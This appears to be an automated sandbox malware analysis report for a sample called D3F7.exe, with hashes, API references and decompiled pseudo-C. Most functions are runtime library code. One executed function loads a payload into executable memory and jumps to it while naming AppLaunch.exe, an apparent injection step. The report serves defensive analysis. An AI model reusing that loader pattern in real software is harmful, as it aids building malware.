Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 4ff9b2198e56b5b822ea9f6923d53f78e01b9209c61610c92f8aae27a6de0d9b
Instruction ID: a279755e304ce9fb498a6e8dd12fff2674d27eee969a218e1391b8470195e025
Opcode Fuzzy Hash: 4ff9b2198e56b5b822ea9f6923d53f78e01b9209c61610c92f8aae27a6de0d9b
Instruction Fuzzy Hash: 3F418D70905659CFCF24CF95D4947EEBBB0AF82355F24829BD8652A282C3398EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00415932 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 92COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415ABF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

n, xrefs: 00415AEA

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: 1ea94c386cee3e7967f4beb87cbacfe2d24abb64f810e28dcd0a20f6a0e2c2b5
Instruction ID: a279755e304ce9fb498a6e8dd12fff2674d27eee969a218e1391b8470195e025
Opcode Fuzzy Hash: 1ea94c386cee3e7967f4beb87cbacfe2d24abb64f810e28dcd0a20f6a0e2c2b5
Instruction Fuzzy Hash: 3F418D70905659CFCF24CF95D4947EEBBB0AF82355F24829BD8652A282C3398EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004159F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__whiteout.LIBCMTD ref: 00415ABF
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

n, xrefs: 00415AEA

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Locale$UpdateUpdate::~___whiteout
String ID: n
API String ID: 2661511698-2013832146
Opcode ID: f5a68e53bced1afa19df2ec1f12fe86621cfa5d146278a343a3ed0cd834070a9
Instruction ID: f3eeec258fee9938486ef82358fc0ed0bc44f7bbdc4f83a38b5c987ab3652ecf
Opcode Fuzzy Hash: f5a68e53bced1afa19df2ec1f12fe86621cfa5d146278a343a3ed0cd834070a9
Instruction Fuzzy Hash: B6318070905659CFCF24CF95D4D57EEBBB0AF82355F14829BE4652A242C2388EC1CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C483 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 60COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040C58D
__free_base.LIBCMTD ref: 0040C599

Strings

t!hH @, xrefs: 0040C499

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __free_base_memset
String ID: t!hH @
API String ID: 2669475236-3197341286
Opcode ID: 6097fda79d34ab4eb7a89d4da032edb72147cf66e522ed57b7e5bf75855e790f
Instruction ID: 27c072ef7c753705936a821454130ca0b90ac272d55a8e8b7d498cbfbbb52d95
Opcode Fuzzy Hash: 6097fda79d34ab4eb7a89d4da032edb72147cf66e522ed57b7e5bf75855e790f
Instruction Fuzzy Hash: 36214F78A00504EFCB04CF44D9D1A6AB7B2BB85308F34C2A9D4052B3D6D779EE42DB45

Uniqueness

Uniqueness Score: -1.00%

Function 0041606E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_isxdigit.LIBCMTD ref: 004160DD
__hextodec.LIBCMTD ref: 00416110
_isdigit.LIBCMTD ref: 00416136
__inc.LIBCMTD ref: 00416220
__un_inc.LIBCMTD ref: 00416244
_isxdigit.LIBCMTD ref: 0041629D
__hextodec.LIBCMTD ref: 004162C0
_isdigit.LIBCMTD ref: 004162E3
__inc.LIBCMTD ref: 00416394
__un_inc.LIBCMTD ref: 004163B8
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00416AC6

Strings

p, xrefs: 004160CF

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: Locale__hextodec__inc__un_inc_isdigit_isxdigit$UpdateUpdate::~_
String ID: p
API String ID: 1652772854-2181537457
Opcode ID: 7f34afd45d2ce7f73b669f78092b15a3365217c9701186215e9b127bcf42cc6d
Instruction ID: 868b460b0bceca5c4af1d0b950e58cc2fd02f112405a165a426f6d39b0dda85e
Opcode Fuzzy Hash: 7f34afd45d2ce7f73b669f78092b15a3365217c9701186215e9b127bcf42cc6d
Instruction Fuzzy Hash: 0B218175D042698ACF25CFA5C8443EEBBB1AB04304F2581EBC80966206D339CAC1CF89

Uniqueness

Uniqueness Score: -1.00%

Function 0040B0A0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

__onexit_nolock.LIBCMTD ref: 0040B0E2

Part of subcall function 0040B120: __encode_pointer.LIBCMTD ref: 0040B12E
Part of subcall function 0040B120: __encode_pointer.LIBCMTD ref: 0040B140

Strings

DA, xrefs: 0040B0C9, 0040B104
DA, xrefs: 0040B0DE, 0040B0E1

Memory Dump Source

Source File: 00000010.00000002.397062769.0000000000409000.00000020.00000001.01000000.00000009.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_409000_bwgdrja.jbxd

Similarity

API ID: __encode_pointer$__onexit_nolock
String ID: DA$DA
API String ID: 1977201873-2111274127
Opcode ID: 2f0f006c14da3c3e63a8cb6e317a30ab63637cf02847498a5235f1a9f3205ba6
Instruction ID: 485f2b48863b30196bf930636301ee4498aa1e88e62028b70e75e7c700c1e414
Opcode Fuzzy Hash: 2f0f006c14da3c3e63a8cb6e317a30ab63637cf02847498a5235f1a9f3205ba6
Instruction Fuzzy Hash: 7FF0A9B2A04609ABC700CFA5DC41B9FB7B8F745764F20473BF425A76C0D73D55008A95

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: D3F7.exePID: 4472, Parent PID: 3452COMMON

Execution Graph

Execution Coverage:	0.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	100%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00944090 Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 21%

			E00944090() {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				void* _t9;
				void* _t10;
				void* _t12;
				void* _t16;
				intOrPtr _t20;

				_v8 = _t20;
				_push(8);
				_push(0xa06000);
				_push(0x7800);
				_push("true");
				_t10 = L00934755(_t9, _v8);
				_push(8);
				_push(0xa06000);
				_push(0x77e);
				_push(0xa0d808);
				L00934755(_t10, _v8);
				_v16 = 0;
				_t12 = VirtualAlloc(0, 0x77e, 0x3000, 0x40); // executed
				_v12 = _t12;
				memcpy(_v12, 0xa0d808, 0x1df << 2);
				asm("movsw");
				_push(L"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\AppLaunch.exe");
				_pop(_t32);
				_t16 = 0xa06008;
				_push(_t16);
				_push(0);
				_push(_v12 + 0x181);
				_push(0);
				goto __eax;
			}

0x00944098
0x0094409b
0x0094409d
0x009440a2
0x009440a7
0x009440af
0x009440b4
0x009440b6
0x009440bb
0x009440c0
0x009440c8
0x009440cd
0x009440e2
0x009440e8
0x009440f8
0x009440fa
0x0094410b
0x0094410c
0x0094410d
0x0094410e
0x0094410f
0x0094411b
0x0094411e
0x00944120

APIs

VirtualAlloc.KERNELBASE(00000000,0000077E,00003000,00000040,00A0D808,0000077E,00A06000,00000008,?,00007800,00A06000,00000008), ref: 009440E2

Strings

C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe, xrefs: 00944104

Memory Dump Source

Source File: 00000011.00000002.467245935.000000000093F000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00930000, based on PE: true

Associated: 00000011.00000002.466108961.0000000000930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466225341.0000000000931000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466898321.000000000093B000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.467932478.0000000000952000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468566814.00000000009DB000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468596071.00000000009E3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468861074.0000000000A06000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469265290.0000000000A0F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469295123.0000000000A14000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469305847.0000000000A16000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_930000_D3F7.jbxd

Similarity

API ID: AllocVirtual
String ID: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
API String ID: 4275171209-448403072
Opcode ID: 85720e31434031631307cb65badc446fdca959a82d9c0c963db657fab82f6bb1
Instruction ID: cd3e6dbacdcb139c41a40ea3fe185e673fcfc10b28b406b7a2c1fb4f09dd985c
Opcode Fuzzy Hash: 85720e31434031631307cb65badc446fdca959a82d9c0c963db657fab82f6bb1
Instruction Fuzzy Hash: 49016D71FC42087BF750DA95AC07F9E6A6AEB81B05F208065B60ABB2C0CAF47D058B54

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00976AEC Relevance: 6.1, APIs: 4, Instructions: 73
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 85%

			E00976AEC(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				char _v0;
				struct _EXCEPTION_POINTERS _v12;
				intOrPtr _v80;
				intOrPtr _v88;
				char _v92;
				intOrPtr _v608;
				intOrPtr _v612;
				void* _v616;
				intOrPtr _v620;
				char _v624;
				intOrPtr _v628;
				intOrPtr _v632;
				intOrPtr _v636;
				intOrPtr _v640;
				intOrPtr _v644;
				intOrPtr _v648;
				intOrPtr _v652;
				intOrPtr _v656;
				intOrPtr _v660;
				intOrPtr _v664;
				intOrPtr _v668;
				char _v808;
				char* _t39;
				long _t49;
				intOrPtr _t51;
				void* _t54;
				intOrPtr _t55;
				intOrPtr _t57;
				intOrPtr _t58;
				intOrPtr _t59;
				intOrPtr* _t60;

				_t59 = __esi;
				_t58 = __edi;
				_t57 = __edx;
				if(IsProcessorFeaturePresent(0x17) != 0) {
					_t55 = _a4;
					asm("int 0x29");
				}
				L00934C3C(_t34);
				 *_t60 = 0x2cc;
				_v632 = L00932F9A(_t58,  &_v808, 0, 3);
				_v636 = _t55;
				_v640 = _t57;
				_v644 = _t51;
				_v648 = _t59;
				_v652 = _t58;
				_v608 = ss;
				_v620 = cs;
				_v656 = ds;
				_v660 = es;
				_v664 = fs;
				_v668 = gs;
				asm("pushfd");
				_pop( *_t15);
				_v624 = _v0;
				_t39 =  &_v0;
				_v612 = _t39;
				_v808 = 0x10001;
				_v628 =  *((intOrPtr*)(_t39 - 4));
				L00932F9A(_t58,  &_v92, 0, 0x50);
				_v92 = 0x40000015;
				_v88 = 1;
				_v80 = _v0;
				_t28 = IsDebuggerPresent() - 1; // -1
				_v12.ExceptionRecord =  &_v92;
				asm("sbb bl, bl");
				_v12.ContextRecord =  &_v808;
				_t54 =  ~_t28 + 1;
				SetUnhandledExceptionFilter(0);
				_t49 = UnhandledExceptionFilter( &_v12);
				if(_t49 == 0 && _t54 == 0) {
					_push(3);
					return L00934C3C(_t49);
				}
				return _t49;
			}

0x00976aec
0x00976aec
0x00976aec
0x00976b00
0x00976b02
0x00976b05
0x00976b05
0x00976b09
0x00976b0e
0x00976b26
0x00976b2c
0x00976b32
0x00976b38
0x00976b3e
0x00976b44
0x00976b4a
0x00976b51
0x00976b58
0x00976b5f
0x00976b66
0x00976b6d
0x00976b74
0x00976b75
0x00976b7e
0x00976b84
0x00976b87
0x00976b8d
0x00976b9c
0x00976ba8
0x00976bb3
0x00976bba
0x00976bc1
0x00976bcc
0x00976bd4
0x00976bdd
0x00976bdf
0x00976be2
0x00976be4
0x00976bee
0x00976bf6
0x00976bfc
0x00000000
0x00976c03
0x00976c06

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00976AF8
IsDebuggerPresent.KERNEL32 ref: 00976BC4
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00976BE4
UnhandledExceptionFilter.KERNEL32(?), ref: 00976BEE

Memory Dump Source

Source File: 00000011.00000002.467932478.0000000000952000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00930000, based on PE: true

Associated: 00000011.00000002.466108961.0000000000930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466225341.0000000000931000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466898321.000000000093B000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.467245935.000000000093F000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468566814.00000000009DB000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468596071.00000000009E3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468861074.0000000000A06000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469265290.0000000000A0F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469295123.0000000000A14000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469305847.0000000000A16000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_930000_D3F7.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 3747eea3a767434c57b241e9025c1ace5f0d22c6ee14f5d205da92693c44832e
Instruction ID: 96470d0a35bc2d49184bff25d5b1d158882f677b768794fb1846878b6cd73bc4
Opcode Fuzzy Hash: 3747eea3a767434c57b241e9025c1ace5f0d22c6ee14f5d205da92693c44832e
Instruction Fuzzy Hash: B43149B5D0531CDBDB10DFA4D989BCDBBB8AF08300F1081AAE54DAB250EB745A85CF04

Uniqueness

Uniqueness Score: -1.00%

Function 00976E59 Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00976E59(signed int __edx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t63;
				signed int _t66;
				signed int _t67;
				signed int _t73;
				intOrPtr _t74;
				intOrPtr _t75;
				intOrPtr* _t77;
				signed int _t78;
				intOrPtr* _t82;
				signed int _t85;
				signed int _t90;
				intOrPtr* _t93;
				signed int _t96;
				signed int _t99;
				signed int _t104;

				_t90 = __edx;
				 *0xa12448 =  *0xa12448 & 0x00000000;
				 *0xa0fa70 =  *0xa0fa70 | 0x00000001;
				if(IsProcessorFeaturePresent(0xa) == 0) {
					L23:
					return 0;
				}
				_v20 = _v20 & 0x00000000;
				_push(_t74);
				_t93 =  &_v40;
				asm("cpuid");
				_t75 = _t74;
				 *_t93 = 0;
				 *((intOrPtr*)(_t93 + 4)) = _t74;
				 *((intOrPtr*)(_t93 + 8)) = 0;
				 *(_t93 + 0xc) = _t90;
				_v16 = _v40;
				_v8 = _v28 ^ 0x49656e69;
				_v12 = _v32 ^ 0x6c65746e;
				_push(_t75);
				asm("cpuid");
				_t77 =  &_v40;
				 *_t77 = 1;
				 *((intOrPtr*)(_t77 + 4)) = _t75;
				 *((intOrPtr*)(_t77 + 8)) = 0;
				 *(_t77 + 0xc) = _t90;
				if((_v8 | _v12 | _v36 ^ 0x756e6547) != 0) {
					L9:
					_t96 =  *0xa1244c; // 0x2
					L10:
					_t85 = _v32;
					_t60 = 7;
					_v8 = _t85;
					if(_v16 < _t60) {
						_t78 = _v20;
					} else {
						_push(_t77);
						asm("cpuid");
						_t82 =  &_v40;
						 *_t82 = _t60;
						 *((intOrPtr*)(_t82 + 4)) = _t77;
						 *((intOrPtr*)(_t82 + 8)) = 0;
						_t85 = _v8;
						 *(_t82 + 0xc) = _t90;
						_t78 = _v36;
						if((_t78 & 0x00000200) != 0) {
							 *0xa1244c = _t96 | 0x00000002;
						}
					}
					_t61 =  *0xa0fa70; // 0x6f
					_t62 = _t61 | 0x00000002;
					 *0xa12448 = 1;
					 *0xa0fa70 = _t62;
					if((_t85 & 0x00100000) != 0) {
						_t63 = _t62 | 0x00000004;
						 *0xa12448 = 2;
						 *0xa0fa70 = _t63;
						if((_t85 & 0x08000000) != 0 && (_t85 & 0x10000000) != 0) {
							asm("xgetbv");
							_v24 = _t63;
							_v20 = _t90;
							_t104 = 6;
							if((_v24 & _t104) == _t104) {
								_t66 =  *0xa0fa70; // 0x6f
								_t67 = _t66 | 0x00000008;
								 *0xa12448 = 3;
								 *0xa0fa70 = _t67;
								if((_t78 & 0x00000020) != 0) {
									 *0xa12448 = 5;
									 *0xa0fa70 = _t67 | 0x00000020;
									if((_t78 & 0xd0030000) == 0xd0030000 && (_v24 & 0x000000e0) == 0xe0) {
										 *0xa0fa70 =  *0xa0fa70 | 0x00000040;
										 *0xa12448 = _t104;
									}
								}
							}
						}
					}
					goto L23;
				}
				_t73 = _v40 & 0x0fff3ff0;
				if(_t73 == 0x106c0 || _t73 == 0x20660 || _t73 == 0x20670 || _t73 == 0x30650 || _t73 == 0x30660 || _t73 == 0x30670) {
					_t99 =  *0xa1244c; // 0x2
					_t96 = _t99 | 0x00000001;
					 *0xa1244c = _t96;
					goto L10;
				} else {
					goto L9;
				}
			}

0x00976e59
0x00976e5c
0x00976e66
0x00976e77
0x00977029
0x0097702c
0x0097702c
0x00976e7d
0x00976e83
0x00976e88
0x00976e8c
0x00976e90
0x00976e92
0x00976e94
0x00976e97
0x00976e9c
0x00976ea5
0x00976eb6
0x00976ec1
0x00976ec7
0x00976ec8
0x00976ece
0x00976ed1
0x00976edb
0x00976ede
0x00976ee1
0x00976ee4
0x00976f29
0x00976f29
0x00976f2f
0x00976f2f
0x00976f34
0x00976f35
0x00976f3b
0x00976f6d
0x00976f3d
0x00976f3f
0x00976f40
0x00976f46
0x00976f49
0x00976f4b
0x00976f4e
0x00976f51
0x00976f54
0x00976f57
0x00976f60
0x00976f65
0x00976f65
0x00976f60
0x00976f70
0x00976f75
0x00976f78
0x00976f82
0x00976f8d
0x00976f93
0x00976f96
0x00976fa0
0x00976fab
0x00976fb7
0x00976fba
0x00976fbd
0x00976fc8
0x00976fcd
0x00976fcf
0x00976fd4
0x00976fd7
0x00976fe1
0x00976fe9
0x00976fee
0x00976ff8
0x00977006
0x00977019
0x00977020
0x00977020
0x00977006
0x00976fe9
0x00976fcd
0x00976fab
0x00000000
0x00977028
0x00976ee9
0x00976ef3
0x00976f18
0x00976f1e
0x00976f21
0x00000000
0x00000000
0x00000000
0x00000000

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00976E6F

Memory Dump Source

Source File: 00000011.00000002.467932478.0000000000952000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00930000, based on PE: true

Associated: 00000011.00000002.466108961.0000000000930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466225341.0000000000931000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466898321.000000000093B000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.467245935.000000000093F000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468566814.00000000009DB000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468596071.00000000009E3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468861074.0000000000A06000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469265290.0000000000A0F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469295123.0000000000A14000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469305847.0000000000A16000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_930000_D3F7.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: a1fc3754ccfee4962f4a6d7688ce9ab9f2543c603916b025afa11c27e82f44da
Instruction ID: 3794f45359b4d658982c5561947d47c9bc47d702542923ff08b789a1d44a2cc7
Opcode Fuzzy Hash: a1fc3754ccfee4962f4a6d7688ce9ab9f2543c603916b025afa11c27e82f44da
Instruction Fuzzy Hash: A75161B2A006058FEB24CFA5ED817AABBF4FB44354F24C56AD409EB660D374D942CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00974E2F Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

GetLocaleInfoEx.KERNEL32(?,00000022,00000000,00000002), ref: 00974E47

Memory Dump Source

Source File: 00000011.00000002.467932478.0000000000952000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00930000, based on PE: true

Associated: 00000011.00000002.466108961.0000000000930000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466225341.0000000000931000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.466898321.000000000093B000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.467245935.000000000093F000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468566814.00000000009DB000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468596071.00000000009E3000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.468861074.0000000000A06000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469265290.0000000000A0F000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469295123.0000000000A14000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000011.00000002.469305847.0000000000A16000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_930000_D3F7.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: dd37f07a5cc7ad118c5fc22d22a8de89ad427b156b276b000ba582be7a438ccb
Instruction ID: c1b4a03826a02c4fc93c4873f6925a55bb28563c0c4bcbf49c37be1cf1b9ae9e
Opcode Fuzzy Hash: dd37f07a5cc7ad118c5fc22d22a8de89ad427b156b276b000ba582be7a438ccb
Instruction Fuzzy Hash: DCE01233690204E5D7159BA89E0FFAA76ACFB41719F108551B106D80E2D7A4CB00D552

Uniqueness

Uniqueness Score: -1.00%

Function 00975506 Relevance: 9.2, APIs: 6, Instructions: 224
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 72%

			E00975506(intOrPtr _a4, intOrPtr _a8, short* _a12, short* _a16, char* _a20, int _a24, int _a28) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				int _v32;
				char* _v36;
				short* _v40;
				int _v44;
				short* _v48;
				short* _v52;
				intOrPtr _v56;
				void* _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t54;
				short* _t58;
				signed int _t63;
				signed int _t64;
				short* _t66;
				signed int _t68;
				signed int _t69;
				short* _t72;
				char* _t75;
				char* _t76;
				int _t79;
				intOrPtr _t88;
				intOrPtr _t89;
				short* _t96;
				signed int _t97;
				short* _t98;

				_t54 =  *0xa0fa4c; // 0x1e7dbb18
				_v8 = _t54 ^ _t97;
				_t96 = _a12;
				_t95 = _a16;
				_v56 = _a4;
				_t57 = _a20;
				_v32 = _t96;
				_v36 = _a20;
				if(_t95 <= 0) {
					if(_t95 < 0xffffffff) {
						goto L56;
					}
					goto L3;
				} else {
					_t95 = L009326B2(_t96, _t95);
					_t57 = _v36;
					L3:
					_t79 = _a24;
					if(_t79 <= 0) {
						if(_t79 < 0xffffffff) {
							L56:
							_t58 = 0;
							L57:
							return L00932ECD(_t58, _t79, _v8 ^ _t97, _t94, _t95, _t96);
						}
						L6:
						if(_t95 == 0 || _t79 == 0) {
							if(_t95 == _t79) {
								L55:
								_push(2);
								L20:
								_pop(_t58);
								goto L57;
							}
							if(_t79 > 1) {
								L29:
								_t58 = 1;
								goto L57;
							}
							if(_t95 > 1) {
								L19:
								_push(3);
								goto L20;
							}
							if(GetCPInfo(_a28,  &_v28) == 0) {
								goto L56;
							}
							if(_t95 <= 0) {
								if(_t79 <= 0) {
									goto L30;
								}
								if(_v28 < 2) {
									goto L29;
								}
								_t75 =  &_v22;
								if(_v22 == 0) {
									goto L29;
								}
								_t95 = _v36;
								while(1) {
									_t88 =  *((intOrPtr*)(_t75 + 1));
									if(_t88 == 0) {
										goto L29;
									}
									_t94 =  *_t95;
									if(_t94 <  *_t75 || _t94 > _t88) {
										_t75 = _t75 + 2;
										if( *_t75 != 0) {
											continue;
										}
										goto L29;
									} else {
										goto L55;
									}
								}
								goto L29;
							}
							if(_v28 < 2) {
								goto L19;
							}
							_t76 =  &_v22;
							if(_v22 == 0) {
								goto L19;
							} else {
								goto L15;
							}
							while(1) {
								L15:
								_t89 =  *((intOrPtr*)(_t76 + 1));
								if(_t89 == 0) {
									goto L19;
								}
								_t94 =  *_t96;
								if(_t94 <  *_t76 || _t94 > _t89) {
									_t76 = _t76 + 2;
									if( *_t76 != 0) {
										continue;
									}
									goto L19;
								} else {
									goto L55;
								}
							}
							goto L19;
						} else {
							L30:
							_t96 = 0;
							_t63 = MultiByteToWideChar(_a28, 9, _v32, _t95, 0, 0);
							_v44 = _t63;
							if(_t63 == 0) {
								goto L56;
							}
							_t94 = _t63 + _t63 + 8;
							asm("sbb eax, eax");
							_t64 = _t63 & _t63 + _t63 + 0x00000008;
							if(_t64 == 0) {
								_v52 = 0;
								L54:
								L009335A8( &_v52);
								_t58 = _t96;
								goto L57;
							}
							if(_t64 > 0x400) {
								_push(_t64);
								_t66 = L0093155A();
								_v40 = _t66;
								if(_t66 == 0) {
									L38:
									_v52 = _t66;
									if(_t66 == 0 || MultiByteToWideChar(_a28, 1, _v32, _t95, _t66, _v44) == 0) {
										goto L54;
									} else {
										_t95 = _v36;
										_t68 = MultiByteToWideChar(_a28, 9, _v36, _t79, _t96, _t96);
										_v32 = _t68;
										if(_t68 == 0) {
											goto L54;
										}
										_t94 = _t68 + _t68 + 8;
										asm("sbb eax, eax");
										_t69 = _t68 & _t68 + _t68 + 0x00000008;
										if(_t69 == 0) {
											_v48 = _t96;
											L52:
											L009335A8( &_v48);
											goto L54;
										}
										if(_t69 > 0x400) {
											_push(_t69);
											_t95 = L0093155A();
											if(_t95 == 0) {
												L48:
												_v48 = _t95;
												if(_t95 != 0) {
													_t72 = MultiByteToWideChar(_a28, 1, _v36, _t79, _t95, _v32);
													if(_t72 != 0) {
														__imp__CompareStringEx(_v56, _a8, _v40, _v44, _t95, _v32, _t96, _t96, _t96);
														_t96 = _t72;
													}
												}
												goto L52;
											}
											 *_t95 = 0xdddd;
											L47:
											_t95 =  &(_t95[4]);
											goto L48;
										}
										L009332CE(_t69);
										_t95 = _t98;
										if(_t95 == 0) {
											goto L48;
										}
										 *_t95 = 0xcccc;
										goto L47;
									}
								}
								 *_t66 = 0xdddd;
								L37:
								_t66 =  &(_t66[4]);
								_v40 = _t66;
								goto L38;
							}
							L009332CE(_t64);
							_t66 = _t98;
							_v40 = _t66;
							if(_t66 == 0) {
								goto L38;
							}
							 *_t66 = 0xcccc;
							goto L37;
						}
					}
					_t79 = L009326B2(_t57, _t79);
					goto L6;
				}
			}

0x0097550c
0x00975513
0x0097551b
0x0097551f
0x00975522
0x00975525
0x00975528
0x0097552b
0x00975530
0x00975545
0x00000000
0x00000000
0x00000000
0x00975532
0x0097553a
0x0097553c
0x0097554b
0x0097554b
0x00975550
0x00975562
0x00975758
0x00975758
0x0097575a
0x0097576b
0x0097576b
0x00975568
0x0097556a
0x00975576
0x00975751
0x00975751
0x009755d1
0x009755d1
0x00000000
0x009755d1
0x0097557f
0x0097560a
0x0097560c
0x00000000
0x0097560c
0x00975588
0x009755cf
0x009755cf
0x00000000
0x009755cf
0x00975599
0x00000000
0x00000000
0x009755a1
0x009755d9
0x00000000
0x00000000
0x009755df
0x00000000
0x00000000
0x009755e5
0x009755e8
0x00000000
0x00000000
0x009755ea
0x009755ed
0x009755ed
0x009755f2
0x00000000
0x00000000
0x009755f4
0x009755f8
0x00975602
0x00975608
0x00000000
0x00000000
